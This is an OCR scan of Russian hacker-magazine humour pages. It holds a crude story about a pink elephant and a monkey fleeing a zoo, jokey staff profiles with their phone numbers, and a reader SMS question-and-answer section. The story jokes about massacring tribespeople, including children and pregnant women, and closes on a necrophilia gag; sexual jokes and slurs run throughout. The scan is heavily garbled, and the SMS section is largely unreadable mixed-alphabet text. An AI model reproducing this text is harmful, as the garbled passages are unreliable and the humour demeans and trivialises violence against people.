пластилина, родился слоник. 
Мать слоника была наркоман- 
кой и злоупотребляла спирт- 
ным, поэтому слоник родился с 
аномалией. Он был розовым. 
Сотрудники зоопарка диву да- 



ІІПШІ 

вались! Надо же, розовый слон. А слоник не 
обращал внимания и щипал себе травку. 

В тот же день в том же зоопарке, но на дру- 
гом конце обезьянника родилась дурно пахну- 
щая обезьянка. Никто не знал, почему она дур- 
но пахла. Сначала думали, что она обкакала се- 
бе лапки, но оказалось, что это совсем не так. 
Обезьянка была страшной чистюлей и никогда 
не брызгала калом себе на ноги. Просто ей не 
повезло - она родилась больной и от этого пло- 
хо пахла. И ничего с этим нельзя было поделать. 



Слоник и обезьянка потихоньку росли, не 
подозревая о существовании друг друга. И у 
каждого из них была мечта. Причем мечта у 
них была одинаковая, как будто они списали ее 
друг у друга. Сбежать! Сбежать к чертям со- 
бачьим из этого нищего зоопарка, где на завт- 
рак морковка, на обед морковка, на ужин мор- 
ковка, да еще эти посетители гребаную мор- 
ковку в решетку суют. Но как это сделать, ник- 
то из слоника с обезьянкой не знал. Поэтому 
они, как все нормальные животные зоопарка, 
жрали, спали и воняли. Особенно обезьянка. 

Однажды директор зоопарка решил провес- 
ти перекличку. Созвал он всех зверей и нака- 
зал им построиться по росту. 

- Тигр! - провозгласил директор. 

- Я! - откликнулся тигр. 

- Полинезийский длинношерстый конусого- 
ловый ленивец! 

- Я! - откликнулся полинезийский длинно- 
шерстый конусоголовый ленивец. 

- Тибетская свинья! 

- Да не ори, начальник. Здесь я! - прохрю- 
кал боров из Тибета. И обаятельно улыбнулся. 

Так директор опросил всех животных, но 
когда очередь дошла до розового слоника и 
дурно пахнущей обезьянки, оказалось, что их в 
строю нет. 

- РОЗОВЫЙ СЛОНИК И ДУРНО ПАХНУЩАЯ 
ОБЕЗЬЯНКА!!! - страшным голосом воззвал 
директор. Но зря рвал глотку старый маразма- 
тик - беглецы были уже далеко. 

Слоник бежал что есть мочи по улице, за ним, 
перебирая лапками, скакала обезьянка - они, не 
сговариваясь, спешили за город. За городом 
лес, а там и до Африки недалеко. Звери не зна- 
ли, какая она, Африка. И где она, Африка. Но 
знали, что если стоять на месте и жевать травку, 
то это будет как-то тупо. Поэтому махали как 
можно резче лапками об асфальт и поглядывали 
на горизонт. Не виднеется ли там Африка. 

Люди вокруг с удивлением провожали жи- 
вотных глазами. Согласитесь, не каждый день 
видишь мамонта- мутанта и бешеного орангу- 
танга, наяривающих по центру города. Папа- 
рацци щелкали объективами вслед, милицио- 
неры яростно дышали в свисток, детишки 
швыряли в зверушек кирпичами. 

.і ПЕРВЫЕ ПРОБЛЕМЫ 

Наконец, слоник и обезьянка добрались до ок- 
раины и укрылись в дикорастущем кустарнике. 

- Надо поесть! - пытаясь справиться с от- 
дышкой, молвил слон. 

- Дело говоришь, браток. Подсади, нарву 
нам орешков. 

Слоник посадил обезьянку на хобот и под- 
нял к вершине дуба. Обезьяна нарвала орехов, 
сжевала их все, а когда слоник опустил ее на 
землю, грустно сообщила, что орешков нет на 
дубе том. 

- А это что? - сурово спросил слоник, пока- 
зывая хоботом на полкило ореховой скорлупы, 
прилипшей к губам обезьяны. 
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Обезьяна развела руками и голосом Ко- 
лобков сообщила: 

- Ни-ич-чо не понимаю. 

- Постыдилась бы, горилла! - рассердился 
слоник и пнул спутницу хоботом по мудям. 
Впрочем, долго он не злился и уже через ми- 
нуту держал обезьянку за ручку. Вместе они 
двигались дальше. 

Смеркалось. 

- Надо искать ночлег! - смекнула обезьян- 
ка. - Стой, мамонт, здесь на шухере. Пойду, 
разведаю, что к чему. 

- Хорошо, шеф. Только долго не задержи- 
вайся. Мне здесь холодно и страшно одному, 
- испуганно озираясь, молвил слоник и спря- 
тался за грибочком. 

Макака исследовала окрестности и нашла 
глубокую пещеру. 

- Эй, аномалия ушастая, сюда! - позвал 
мохнатый зверь. 

Слоник примчался шустрым кабанчиком и 
опасливо вперил очи в грот. 

- Там темно! Я туда не полезу! 

- Смотри! - обезьянка взяла еловую шиш- 
ку и бросила во мрак пещеры. Шишка со сту- 
ком приземлилась где-то внутри и затихла. 

- Видишь? Там нет барабашек! 

- Зато там могут быть мыши! - сказал сло- 
ник и заплакал. Он с детства боялся мышей. 
Мама сказала, что мыши могу обгрызть его 
ноги и он останется на всю жизнь инвалидом. 

- Ладно, придется спать на дереве, - ска- 
зала обезьянка. Они вместе залезли на бли- 
жайшую сосну и заснули сном младенца. 

На следующий день слоник и обезьянка 
уже бежали в сторону Африки, оставляя за 
собой пыль и кислотные шлаки. 

- Бабенку бы сейчас! Я с младенчества в то- 
тальном воздержании, - вздохнул на бегу сло- 
ник, украдкой поглядывая на обезьяний зад. 

- Эй, ушастый, ты чего? Ты мне прекращай 
не туда смотреть! - опасливо молвила горил- 
лка и прибавила ходу. 

Долго ли, коротко ли, добежали друзья до 
развилки. На развилке значилось: «Город - 10 
км туда, Африка - 1 8 520 км сюда». 

- Круто! 10 километров уже преодолели, - 
обрадовалась обезьянка. 

- Да, но 1 8 520 км еще впереди! - вздохнул 
слоник. 

- Надо срочно найти лыжи! - уверенно кив- 
нула обезьянка. 

- Зачем нам лыжи? - удивленно поднял 
брови слоник. 

- Тебя что, в зоопарке растили? Как это за- 
чем? Так мы убыстрим свой ход и активнее 
доберемся до Африки! 

Слоник озадаченно почесал ногой хобот и 
перевел взгляд на лес. Внезапно его детское 
лицо оживилось: 

- Смотри, обезьяна! ЛЫЖИ! 

У одного из дубов, прижавшись друг к дру- 
гу, стояли две пары лыж. На одной было на- 
писано неприличное слово «Х*Й», на другой - 
«П*3*А». 

- Слышь, обезьяна, мне ту, что слева. 

- Почему это тебе слева? - возмутилась 
обезьяна. 

- Потому что я могучий Х*Й, а ты вонючая 
П*3*А, - проаргументировал слон и схватил 
хоботом левые лыжи. 



- Ладно- ладно, ушастый, - с агрессией 
прошипела обезьянка и затаила великое зло. 

Друзья натянули лыжи и шустрым кабанчи- 
ком поскакали в сторону Африки. 

Июльское солнышко припекало сверху и 
вынуждало зверушек обильно потеть. 

- Воды! Воды мне, обезьяна, воды! 

- Не отставай, вислоухий! - командовала 
мартышка, перебирая ногами в лыжах по рас- 
каленному асфальту. 

- Нет мочи моей, мне надо выпить! 

- Через 1 8 тысяч километров будет Афри- 
ка. Там напьешься. 

Но розовый слоник устал и завалился на бок. 

- Левое яйцо бы отдал, только чтобы на- 
питься! 

Не успел он договорить, как грянул ливень. 
Потоки капель низвергались с небес и падали 
в рот слону. 

- Чудо! Чудо! - захлебываясь от воды, ра- 
довался слон и танцевал джигу. Внезапно 
острая боль пронзила его левое яйцо. 

- ААА! АААА!!! - страшным голосом вопил 
озверевший мамонт. Он попал в капкан и кор- 
чился в муках. 

- Дергай, дергай! - поддразнивал его паху- 
чий гиббон, но слоник не соображал от боли. 
Наконец, он рванул влево и освободился. Но 
левое яйцо осталось в металлических зубьях. 

- Надеюсь, вода того стоила, - почухала 
череп макака. 

Эту ночь они провели на верхушке столет- 
него тополя, подкрепившись еловыми шиш- 
ками и трын -травой. 

^РПССШРНИЕИВСТРЕЧР 

Неделю и два дня скакали розовый слоник 
и дурно пахнущая обезьянка по тайге, лесам 
и тундре. Измучились. Устали. Но они помни- 
ли про Африку и знали, что дойдут. Обезьян- 
ка совсем ссохлась и ползла пузом об землю, 
вгрызаясь ногтями в асфальт. Слоник стер 
ноги до основания и теперь оиалкивался хо- 
ботом, цепляясь бивнем за ветви деревьев. И 
оба кровоточили. 

На исходе девятого дня друзья увидели 
луг. И прямо в центре луга сидела молодень- 
кая обезьянка, разжевывая банан. 

- Какая фемина! - охнул дурно пахнущий 
макак, подбежал к тетке и стал тереться ме- 
хом об ее щеки. Фемина отбросила банан и 
принялась гладить возлюбленного по голове. 
Это была чертовски романтичная картина, 
слоник не успевал стряхивать слезы с глаз и 
высмаркивать мокроту из хобота. 

- Друг! - торжественно начал гиббон, вер- 
нувшись к слону. И слон понял, речь будет 
важной. - Так вот, друг! Я знаю, мы хотели 
вместе дойти до Африки. Но я встретил свою 
любовь. Сердце мое наполнилось медом от 
счастья, да и трахаться, знэ^ иь ли, охота. Так 
что извиняй, мамонт, придется тебе топать 
одному. 

- Ск, - только и мог выдавить слоник 
и грустно направился вдаль. Теперь он остал- 
ся один. Совсем один. Совсем -совсем один. 
ССВЕРШЕННС един, ПСЙМИТЕ ЖЕ!!! 
И сердце его пронзали ржавые гвозди тоски. 
Слоник шел и от отчаянья бил себя одновре- 
менно хоботом по лицу, хвостом по жопе и 
ушами по черепу. Как вдруг в миллиметре от 
его тела просвистело копье. Потом еще одно! 



И еще! День превратился в ночь от обилия 
копий в атмосфере. Это были индейцы из 
племени Махакачу, что в переводе с индейс- 
кого означает: «Те, кто не оставляет слонов в 
живых». Слоник сразу почуял беду. Работая 
бивнями, он выкопал окоп и, спрятавшись в 
нем, стал кидаться в краснолицых грязной 
грязью. Много индейцев погибло в этой не- 
равной схватке. Включая детей и беременных 
женщин. Свирепый мамонт никого не поща- 
дил. И когда вокруг были уже лишь трупы, 
слоник вылез из бомбоубежища и протрубил 
хоботом слоновью песнь победителя. 

- Неплохо, неплохо! - раздался из-за сло- 
новьей спины до боли знакомый голос. 

- СБЕЗЬЯНКА!!! - радостно взвизгнул сло- 
ник и принялся обнимать, целовать, масса- 
жировать друга. - Но я думал, ты... 

- Забей. С ней покончено! У нее волосатая 
грудь. 

^РФРИКР! 

Слоник и обезьянка многозначительно пе- 
реглянулись и, взявшись за ручки, пошли в 
сторону Африки. Сни шли день. Неделю. Ме- 
сяц. Год. Они шли целых десять лет. Со вре- 
менем их компания разрасталась. У слоника и 
обезьянки появились дети, потом внуки. 
К ним присоединялись другие животные, ко- 
торые заводили свои семьи. Все они мигри- 
ровали в сторону Африки. Колонии животных 
двигались к Африке, вытаптывая все на своем 
пути, осушая реки, превращая джунгли в пус- 
тыни. И во главе колонны шли слоник 
с обезьянкой. Опутанные морщинами, припо- 
рошенные сединой. И однажды... 

- Слоник, смотри, что это? - воскликнула 
обезьянка, показывая вдаль. 

- Да! Я вижу! Это ОНА! Африка! 

Все животные радостно загалдели. Под- 
нялся эмоциональный шум, заглушающий 
вулканы. 

- Дошли! Дошли! 

- Мы сделали это! 

Слоник с обезьянкой обнялись. На их ще- 
ках сверкали слезы. Но тут слоник прищурил- 
ся и посмотрел вдаль более внимательно. 

- Постой, гиббон! Что-то не так. 

Они подошли ближе. Еще ближе. Почти 
вплотную... 

На них смотрела огромная надпись, выве- 
денная большими красными буквами: 
«ЗООПАРК». 

Слоник и обезьянка ошарашенно смотрели 
на заведение, в котором они родились и про- 
вели все свое детство. Повсюду стояли клет- 
ки, в которых маялись звери, а в мисках валя- 
лась тухлая морковь. 

- НЕЕЕЕЕЕЕЕЕЕЕЕЕТ!!! - закричала обезу- 
мевшая обезьяна. 

- НЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕЕТ!!! - 
вторил ей сошедший с ума слон. 

^РВЭТОВРЕИЯ 

А в это время в тридцати километрах от зо- 
опарка некрофил Боря спешно орудовал ло- 
патой, раскапывая свежую могилу. У него 
впереди была долгая и бурная ночь. У него 
и этой малышки, замурованной на трехмет- 
ровой глубине. ЗС 
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еликий модник, обожает клубиться. При 
выборе новых кроссовок-борцовок доканы- 
вает всех подряд с просьбой о помощи нау- 
чить в них заправлять джинсы. Не курит, од- 
нако пьет. Любит особей противоположного 
пола. Считает, что он самый умный, однако 
Бублик умнее его в полтора раза. 

Во время тусовок занимает диван в одно рыло, а остальные должны ютиться впя- 
тером на одной маленькой софе. 

Мечта - Хонда Цивик темно-оранжевого цвета с объемом двигателя в 2,2 литра. 
Любимое занятие - опаздывать на встречи. 



( 




шѵѵ.Ііѵе]оигпаІ.сопі/сопітипііу/х_сгеѵѵ/ 



Редактор рубрики «Взпои» 1 9 пет 



мешной до невообразимости. Считает, что 
«Локомотив» - чемпион. Никак не может по- 
нять, что Зенит - форева навсегда. Пытается за- 
ниматься экстремальными видами спорта, но 
все потуги заканчиваются совместным с Горлу- 
мом распитием спиртных напитков в баре «Жа- 
реный теленок». Никита совсем не дальтоник. Синие джинсы, белая куртка и 
красные кроссовки отлично контрастируют - с этим не поспоришь. У Никитоса 
есть сестра, но он упорно не хочет ее знакомить с Бубликом. Говорит: «Не хочу 
загубить жизнь сестренке». 

Мечта - суметь не разбить новенькую «девятку» до Нового года (УРО: на момент 
верстки номера Никита ее таки разбил). 

Любимое занятие - падать с велосипеда, а потом ходить с синим лицом. 




8утЬІ08І8 

Выпускающий редактор 2 



9 него есть друг Вано и Пежо модели 206 красно-оранжевого цвета. Картавит - мама 

не горюй. Считает, что танцует под дубасс круче всех, но это всего лишь заблуждение и предрассудок. 

Симбиозно любит штаны из вельвета песочного цвета. У него их шесть пар одной модели. Обожает показывать всем свой криво 
проколотый язык с синей штангой. Думает, что таким образом он зацепит клевую тетку. Не курит, пока не выпьет. Пьет частенько. 
Планирует закодироваться, но имеет в своем распоряжении мощный брутфорс на всякий случай. 

Мечта - найти клад в районе метро Люблино. Любимое занятие не обнаружено. 




I ■ I 
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Редактпр рубрик «РС_2опе», «Юниты» 1 9 пет 



П юбит рисовать комиксы. Всем говорит, что 
они смешные. Считает, что у него сверхсиль- 
но развито чувство юмора, поэтому любить писать 
в рубрику «Хумор». Также считает, что он в полто- 
ра раза умнее Кугтера, поэтому решил остаться на 
второй год в институте, чтобы стать одногруппни- 
ком Кугтера и N80. При общении достаточно аг- 
рессивен, все время вставляет одно и то же руга- 
тельное слово. Причем как при общении с друзьями, так и при общении с девуш- 
ками. А вообще он очень милый. 

Мечта - помочь отправиться в декрет литературному редактору. 

Любимое занятие - играть с Хинтом в ребят с необычной ориентацией. 





шіпЛѵОгк 

■^^Редактор рубрики «Сцена» 23 года 



ІІ мешно по-хохлятски выговаривает букву «г». 

Настоящий падонак. Считает себя мегаловеласом, 
потому что учился в школе пикаперов. Единственный 
прием, который он изучил, - «счастливая ступенька». 

Поражается, почему все девушки в его районе 
перестали на это клевать. Майндворк носит разные 
носки - один синий, а другой черный. Оба дырявые. 

Отнекивается, мол, это он в темноте просто одевался. Слушает Мисту Малого и Ми- 
шу Круга. Не курит, что странно. Ни разу не пользовался духовкой в своей квартире. 
Мечта - убить хомяка. 

Любимое занятие - мешать спать по ночам всей команде X. 




I ■ 









р божаем блюстителями порядка за наркоманского вида глаза. На редколлегиях^ 



Редактор рубрики «Юниксоид» 25 пет 



любит покрыть матом все рубрики, кроме своей, и предлагает увеличить «Юниксоид» в 7 раз. Не курит и не пьет, потому что 
завязал. Спорит с Тохой о том, кто круче разбирается в никсах. Обычно выигрывает споры - рука тяжелая. Высокий - по этому поводу 
обдолбил все верхние перекладины косяков в дверных проемах редакции. 

Мечта - стать Линусом Торвальдсом. Любимое занятие - собирать компромат на рубрику «РС_2опе». 

_ I 
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))Ог.КІоипІ 2 

Редактор рубрики «Кодинг» 22 года 



Н аш личный лечащий врач. Учится на 
пятом курсе медицинского универси- 
тета и носит очки. Любит запугивать различ- 
ными непонятными словами вроде «парап- 
сихоз» и «стафилококк». Смешно выражается 
в старинном стиле. Какого рожна он это де- 
лает, непонятно. Любит засыпать за клавиа- 
турой во время сдачи номера. Поэтому его пинают и у него пятая точка в синя- 
ках и ссадинах. Док думает, что «Коррозия Металла» - единственная на свете 
группа. Любимая фраза при прослушивании в компании другой музыки: «Кал не 
может быть музыкой». 

Мечта - найти лекарство от рака (это его не самая любимая поза). 

Любимое занятие - кататься на тележках с трупами в морге своего мединститута. 



I] 8ШеХ 

Редактор рубрики «Іеесб» 2 1 год 



М аленький олигарх со стажем. Хотел 
разбогатеть, открыв свою интернет- 
порностудию. Понял, что дело это не совсем 
чистое, переключился на другие темы. Уда- 
ленно переправлял партию качественной 
водки из Москвы в Прагу. Собственно, сей- 
час в самой Праге и проживает. Периодичес- 
ки делает вылазки к нам на родину, в Москву. Здесь он набирается знаний 
по русскому языку для дальнейшего написания рубрики «Лич». Не курит, но пе- 
риодически выпивает. Любит поклубиться. 

Мечта - жениться на красивой олигархичке. 

Любимое занятие - рассылать тульские пряники курьером. 



ИНТ обожает одеваться во все красное. Он бы и джинсы красные купил, но не нашел. 



11 Хинталик не умеет ни во что играть, зато умеет прекрасно отмазываться. По его отмазкам можно сделать вывод, что он живет на 
стройке, на которой постоянно что-то пилят и колотят, а мама постоянно «уже несет суп». Виталик слушает новую музыку примерно 
через полгода, однако присланное порево заценивает сразу. Хинт считает, что все девушки в него влюблены, потому что у него 
отменное ч/ю, однако вряд ли кто-то на него клюнет, потому что у него смешной рюкзак. 

Мечта - скушать все чипсы из соседнего магазина. 

Любимое занятие - жрать в Макдональдсе с Бубликом до отвала. 



II лег собственными силами разработал 
теорию пацанства и непацанства, основан- 
ную на теореме о длине енга. Себя записал в 
непацаны, так как переменная «х» должна 
достигать своего экстремума в большей по 
модулю точке. НСД любит заставлять всех го- 
лодать, когда мы у него тусим по ночам. В магазине он заявляет, что у него есть 
еда, а потом удивленно на нас смотрит и говорит: «А вы что, сухарики не едите?». 
Олег качает железом бицуху и грудь, отчего выглядит очень сексапильно. 

Мечта - стать мафиози. 

Любимое занятие - писать в своих статьях «Бублик - лох!». 



>)татаКаг1о 



Питературный редактор 



Н ннушка разбавляет нашу мужскую ком- 
панию своим обществом. В ее присутствии 
даже неотесанный Бублик становится мега- 
галантным и вежливым. Кугтер старается 
подбирать выражения, чтобы не было матов. 

Хинт перестает прыгать, как дикая лань. 

Никитос краснеет, а Симбиозис перестает картавить. 

Мама очень пунктуальна. Если она сказала, что приедет завтра в редакцию к 1 1 
утра, то это значит, что в 15:00 она обязательно отзвонится, чтобы предупре- 
дить, что она будет не ранее 5 часов вечера. В общем, обязательная она у нас. 
Мечта - стать рок-звездой. 

Любимое занятие - не спать ночами. 






^ \ 







Здорово, парни! Близится Новый год, а значит, все будет новым. 
Во всяком случае, мы на это надеемся. Вот и треп с читателями мы 
решили немного изменить, чтобы не позволить вам скучать 
и расслабляться. Спросите, чего же тут можно сделать нового, поменять? 
С этих пор вы, дотошные наши читатели, сможете общаться друг 
с другом, потому что мы вас стравим :). Номера телефонов, с которых 
пришли самые тупиковые вопросы, отныне будут публиковаться, чтобы 
все люди, знающие правильный ответ, могли его дать непосредственно 
самим авторам :). А что, вам можно писать нам перлы и раздувать буферы 
наших мобил своими сообщениями, а самим сидеть в тишине и 
спокойствии? Нет уж, получите и вы порцию спама на свои номера :). 
Заодно и пообщаетесь между собой. Надеемся, вам это жутко 
понравится. А теперь, как обычно, новая порция перлов с ответами 
бородатого Санта Клауса. 




Также хотим передать свои благодарности компании Зіетепз. Она 
подогнала нам на всю редакцию свои фирменные телефоны Зіетепз 865. 
Теперь это наш официальный мобильник. Телефоны продвинутые, 
бизнес-класса, со встроенной камерой с разрешением 1 .3 мега пикселей, 
огромным цветным экраном (более 65000 цветов), с объемом памяти 
32Мб. Так что теперь мы можем принимать не только ЗМЗ’ки, но и ММ8- 
сообщения. И если ты пришлешь нам прикольную ММЗ’ку, то мы тебе 
тоже чего-нибудь прикольного в ответ пришлем. 

Самые дебильные, отмороженные и прикольные ММЗ’ки мы 
опубликем здесь. И, конечно же, выдадим приз. Так что пишите... Мы 
готовы к потоку флуда. 

Редакционный номер 

+79037714241 



На этом наши телефоны не блокируются :). 
Мы все еще продолжаем общаться 
с читателями, поэтому пишите и звоните, 
а мы будем только рады.. 

С любовью, Х-СгеѴѴ. 



іСиТТеі 

1+79263378909 
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I НікИо8 

I +79037916528 




I Рг.КІоипІ 2 

I +79167521175 




Г лавный редактор того, что ты сейчас держишь в руках. 
Да нет, правой рукой ты все же держишь журнал. 

Вот о нем я и говорю. Все пожелания по поводу улуч- 
шений, нововведений и даже свои недовольства скидывай 
ему. Если у тебя есть идеи по созданию своей рубрики, 
написанию статьи, то бояться не надо. Предлагай. Пиши 
СМС, но можно и звонить - входящие бесплатные. Куттер 
все тебе очень популярно объяснит. 

Звонить лучше в первую половину дня - Куттер продался в 
офисные рабочие и поэтому днем загнивает в офисе. 
Ночью же он в отключке. 



Р едактор рубрики «Взлом». Есть идеи и предложе- 
ния по улучшению рубрики? Есть интересные темы 
для статей? Есть просто вопросы по взлому тайваньс- 
ких серверов? Обращайся к Никите! Никита тебе помо- 
жет со всем разобраться в два счета. Лучше Никите 
звонить, потому что СМС писать у него не хватает тер- 
пения. Звони в 2-3 ночи - Никита еще не спит, он ре- 
дактирует рубрику. 

Еще Никитос спортсменит. Зимой он любит покататься 
на доске, а летом гоняет на велике. Так что если ты бу- 
дешь напорист, то сможешь уговорить его поспортсме- 
нить вместе. 



Т ы запрограммировался до потери пульса? У тебя 
начались побочные эффекты от долгого секса с 
компилятором? Ты считаешь сдачу в магазине, переводя 
ее в двоичный код? Ты болен, амиго! Доктор Клуниз, 
он же Саша Лозовский, поможет тебе разобраться с тем, 
что тебе неясно в кодинге. По совместительству он еще 
и без году врач! Смешно излагает мысли в духе а-ля «я 
ровесник своей бабушки», корчит веселые гримасы (но 
это если ты его разведешь на распитие спиртного по 
СМС), и вообще, он очень приятный собеседник. Пиши, 
звони, шли ММС - все проглотит супер-Саша! 





Ч; Ноя подруга ие хочет деоать мне минет, й я хочу. Что депат 
к: Иу раз хо чешь - деяаР 

ч; Привет, Н8П! Ты когда й что ои ной комп какао! 

к; Привет. Это Бубпик. 3 неия теоефои ИВД. Это все зат^ 



Ч; Что мне сделать, чтобы мышка не кусалась? 

КІвыбейейвсезубынахрен! 

Ч; Знаешь, скольким хакерам Норильска ты помоі ущ 

тоже не знаю. пп-зпвского'' Я тоже не в курсе. 

к; Знаешь, сколько извилин в га** ^ 3 если отправить юную хакершу 

Ч: ЕСЛИ отправить в лес юного » “ они принесут 8 кг. 

Йт«о^Гнег,Г«^^^^ 

Я смотрю, ты смышленый парень! 



„«««я, яя» «■« 

Ч; Ні, РотЬ. Подкинь идеику по 

Заранее №х. РЗ: Можешь не ., г„яоибо что разрешил не отвечать. 

Н- Идей полно, но отвечать не буду. ЗЫ. Спасиоо, что ра и 

Ч: Дарова! Ты реальный РогЬ? форб! Я ВООБЩЕ НЕ ФОРБ!!! 

X; Привет! Нет, я нереальный ^ “ Логотипа ][. Возможна кастрация. Как 
Ч: делаем мужские интим-стрижки в трафарете логотипа я 

получится! (-ьТЭОАббЭТбТО) _ ^ возможной кастрации! (Ммм, все, 

К; Так. Когда я приведу на стрижку Крт Р . . прим. Куттера.) 

^ — ВоГсхороіился в ванной. Полный унитаз наклал и по 

Ч" Давай знакомиться, моя аська Ш. 
к; Не ври мне! Трехзначных асек не бывает. 



Ч" Ау меня ник такой же! (-ь79069246075) 

ЧііХмеГе ЖГх^Г—ь. НИ фита не разродились, только обосраяись. 

мадались в постели, ни фита зачать не вышло - лишь 




Ч; беаѵу шеГаІ із Фе Іаѵт! 

X. Натр госк тніез Фе иютМ! ведь завтра в универ. 

Ч: Яповесил штштышбатарею, бокх^^^в™ 

Х-. Ничего не трогай. Там . 3,0 все хотфиксы до 8Р2 или нет? 

Ч: Я не понял, надо ЗР1 "®Р^ б де, ^ ,ебя после этого ничего работать. 

Ч'. Что ты куришь? 

Ѵсп^иГГзаказ. Вибратор вам будет ««слан 

к; хорошо. Как только хочется кого-нибудь обнять тепло-тепло. 

Ч: Сижу умираю на философии, так противна, 

X'. Обними философичку. Так ° зкасііки теіобіі оШ'? 

Ч- Рогісікяаі как збеіаі сШоЫ па тоет шр заііе ріоііі га зкаы.^и 

!: р" 2а Р0!0Г птеіобіі і рортозФ , 4ФЬу рШ, ха п,Ф 

к; и, знаешь ли, написал в итоге о""® “ ^ ^ „о я такой? 

Ч; где мое пиво? Где ^®“^е пГю нет! №*е компа нет! Даты вообще откуда? 

Х-. Дать, юо такой № У дае менять, куда их подевал, 

Ч; Вы не видели мои коды ^^^^аоаканов Если найдете, сообщите, плиз. 

Кт2”ГГо"^ 

трепангов с бивнями и в чешках! 



I 




ІІііЖ 

1*79262368364 






N80 

1*79165149558 
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I РогЬ 

1*79058033384 

К Форбику стоит обращаться по поводу взлома, 
эксплойтов и других умных и сложных вещей. Пиши 
ему СМС, потому что он живет в Екатеринбурге, что 
сильно влияет на цену разговора. СМС лучше слать на 
транслите, иначе он не сможет прочитать и ответить на 
поставленный тобой вопрос. Да, конечно, мы предложи- 
ли ему сменить трубу, но он ярый фанат всего 
олдскульного и ни за что со своей моторолл ки слезать 
не хочет. А вообще он клевый человек, не обделен 
чувством юмора и, конечно же, может потрепаться на 
любые другие, не взломовые, темы. 



Х инт, он же Виталик, очень общительный человек, 
но на телефонные звонки практически не отвечает. 
Так что дозвониться до него проблематично. Зато его 
можно бомбить ЗМЗ’ками. Если у тебя есть какие- 
нибудь идеи, замечания или предложения по поводу 
СО/ОѴО, то можешь смело ему об этом сообщать. 
Можешь также попросить его выложить какой-нибудь 
дистрибутив на ОѴО. Если он окажется интересным, 
то Хинт его выложит. 

Также Хинт барыжит пятизнаками и шестизнаками. 
Помоги Виталику - купи у него пару юинов. 



О лег очень замороченный на взломе чувак. Все, 
что тебе неясно, смело спрашивай у него. Ночь 
не будет спать, но ответ найдет, чего бы это ему ни 
стоило. Когда будешь звонить ему, приготовься к тому, 
что он продемонстрирует свои актерские способности. 
Правда, роль, которую он на данный момент выучил, у 
него единственная - бабушка-взломщица. Олег считает, 
что это дико смешно, и всех разыгрывает. 

Учти, иногда, спросонья, он может послать любого, кто 
позвонит не вовремя. Распорядок дня у N30 жесткий - 
ночь не спит, а дрыхнет днем. Так что выбирай время 




звонка. 





с января на ОІШ-диске Хакера будет 
пежать раздопбайское видео, которое иы 
сняпи виесте с немного отмороженными 
ребятами из команды КаИиКаДзЕ. Видео 
можно будет посмотреть в любом ВІІВ- 
проигрыватепе! 






Москва: АБ-групп (095) 745-51 75; Акситек (095) 784-7224; Банкос (095) 1 28-9022; ДЕЛ (095) 250-5536; Дилайн (095) 969-2222; Инкотрейд (095) 1 76-2873; ИНЭЛ (095) 742-6436; Карин (095) 956-1 1 58 
Компьютерный салон 5М5 (095) 956-1225; Компания КИТ (095) 777-6655; Никс (095) 974-3333; ОЛДИ (095) 105-0700; Регард (095) 912-4224; Сетевая Лаборатория (095) 784-6490 
СКИД (095) 232-3324; Тринити Электронике (095) 737-8046; Формоза (095) 234-2164; Ф-Центр (095) 472-6104; ЭЛСТ (095) 728-4060; РІаке (095) 236-992; Рогсе Сотриіегз (095) 775-6655 
І8М (095) 718-4020; Меуіп (095) 727-1222; N7 Сотриіег (095) 970-1930; Р-8іуІе Тгабіпд (095) 514-1414; У8Н Сотриіегз (095) 755-8202; УЕТРА Сотриіегз (095) 729-5255; ЭЛЕКТОН (095) 956-3819 
ПортКом (095)777-0210; Архангельск: Северная Корона (8182) 653-525; Волгоград: Техком (8612) 699-850; Воронеж: Рет (0732) 779-339; РИАН (0732) 512-412; Сани (0732) 54-00-00 
Иркутск: Билайн (3952) 240-024; Комтек (3952) 258-338; Краснодар: Игрек (8612) 699-850; Лабытнанги: КЦ ЯМАЛ (34992) 51777; Липецк: Регард-тур (0742) 485-285 
Новосибирск: Квеста (38322) 332-407; Нижний Новгород: Бюро-К (8312) 422-367; Пермь: Гаском (8612) 699-850; Ростов-на-Дону: Зенит-Компьютер (8632) 950-300 
Тюмень: ИНЭКС-Техника (3452) 390-036. 






Тонкость и легкость - 
решающие преимущества! 






